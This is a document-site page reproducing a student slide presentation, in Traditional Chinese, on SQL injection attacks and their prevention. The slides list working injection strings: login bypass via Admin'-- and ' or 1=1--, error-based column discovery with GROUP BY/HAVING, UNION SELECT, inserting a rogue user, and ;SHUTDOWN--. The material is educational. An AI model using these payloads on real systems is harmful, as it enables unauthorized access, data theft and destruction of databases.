sql injection (资料隐码).ppt

  1. 1、本文档共11页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
sql injection (资料隐码)

SQL Injection (資料隱碼) 學生:a0933333 吳倩瑜 指導教授:梁明章 介紹 竊取資料或破壞電子商務網站 用SQL語言所撰寫程式碼來存取或查詢資料庫內所存放之資料 利用輸入特殊命令,讓系統將之與標準的資料庫查詢程式和資料合併在一起,送給資料庫管理系統執行 針對與客戶互動的程式尤其是會對資料庫進行存取或查詢的程式碼 攻擊模式 利用特殊指令攻擊 利用系統的錯誤訊息找出資料庫弱點 攻擊模式-剪接語法 攻擊模式-剪接語法 利用任何已知的使用者名稱登入 在需要輸入使用者名稱的地方鍵入 Admin’-- 攻擊模式-剪接語法 用未知的使用者名稱登入 若沒有已知的帳號,也可以用以上的方式輸入到使用者名稱欄位 攻擊模式-利用錯誤訊息 獲取欄位數量與名稱 在使用者名稱欄位輸入: HAVING 1=1-- 攻擊模式-利用錯誤訊息 約略估計資料表的欄位結構 攻擊模式-利用錯誤訊息 獲取欄位資料型態 若有資料欄位格式不對,導致無法加入自訂使用者 在使用者名稱欄位輸入: 攻擊模式-使用具破壞力的語法 停掉 SQL Server 的執行 破壞內容 刪除資料庫內某個資料表 清空某個資料表 DELETE 清空資料表 如何避免 加強程式上的安全檢查措施 妥善使用權限管理 保持良好的程式開發習慣 將核心程式碼隱藏起來 以標準的訊息回覆給客戶 刪除多餘的資料表 * * SELECT * FROM tblUser WHERE UserName=admin SELECT * FROM tblUser WHERE UserName=admin-- AND Password=asdf ‘ or 1=1- - SELECT * FROM tblUser WHERE UserName= or 1=1-- AND Password=asdf ;INSERT INTO tblUser Values(hacker,hacker,10)-- GROUP BY UserID,UserName HAVING 1=1-- GROUP BY UserID HAVING 1=1-- GROUP BY UserID,UserName,Password,Pri HAVING 1=1-- UNION SELECT abc,1,1,1 FROM tblUser -- ;SHUTDOWN--

文档评论(0)

zhaoxiaoj + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档